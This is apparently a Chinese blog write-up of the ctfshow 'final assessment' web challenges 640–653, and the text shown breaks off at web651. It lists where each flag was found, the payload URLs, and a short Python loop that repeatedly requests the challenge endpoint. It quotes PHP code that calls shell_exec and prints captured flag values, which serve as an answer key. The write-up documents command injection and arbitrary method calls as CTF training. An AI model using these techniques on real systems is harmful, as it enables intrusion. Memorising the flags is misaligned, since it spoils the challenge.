您当前的位置: 首页 > 

yu22x

暂无认证

  • 5浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow终极考核web640-web653

yu22x 发布时间:2022-01-03 20:56:26 ,浏览量:5

配合脚本学习效果更佳 web641

在请求头中 在这里插入图片描述

web642

首页看到敏感路径,抓包得到flag。 在这里插入图片描述

在这里插入图片描述

web643

通过网络测试功能调用ls命令看到secret.txt,访问后url解码得到flag

web644

首页css中存在路径 在这里插入图片描述 访问后跳转到登录界面 在这里插入图片描述 查看js得到flag以及登录的密码(0x36d)

web645

备份功能下载下来后可以看到flag 在这里插入图片描述

flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}

web646

通过远程更新功能获取各个文件的源码 在这里插入图片描述 在init.php中得到flag 在这里插入图片描述

web647

分析users.php,发现想要拿到647flag需要满足如下条件 在这里插入图片描述 可以调用一个不带参数的方法,只要方法的返回值是372619038即可。 想到开了session,那么我们可以调用session_id,然后修改phpsessid的值。 在这里插入图片描述 在这里插入图片描述 flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}

web648

关键函数

function evilClass($m,$k) {
	class ctfshow {
		public $m;
		public function construct($m) {
			$this->$m=$m;
		}
	}
	$ctfshow=new ctfshow($m);
	$ctfshow->$m=$m;
	if($ctfshow->$m==$m && $k==shell_exec('cat \/FLAG\/FLAG647')) {
		echo shell_exec('cat \/FLAG\/FLAG648');
	} else {
		echo 'mmmmm?';
	}
}

随便传个m,然后key传647的值。

payload:
system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}

flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}

web649

试了下getArray()方法,发现下标18每次产生的值范围不大而且接近18,当然其他的也有可能。 payload

import requests
url="http://aaadafd2-5e71-4dbf-b257-60eb106c3648.challenge.ctf.show:8080/system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}"
while True:
    r=requests.get(url)
    if "ctf" in r.text:
        print(r.text)
        break

flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}

web650

和647差不多 payload:

url/system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}

flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}

web651
            
关注
打赏
1617522777
查看更多评论
0.0383s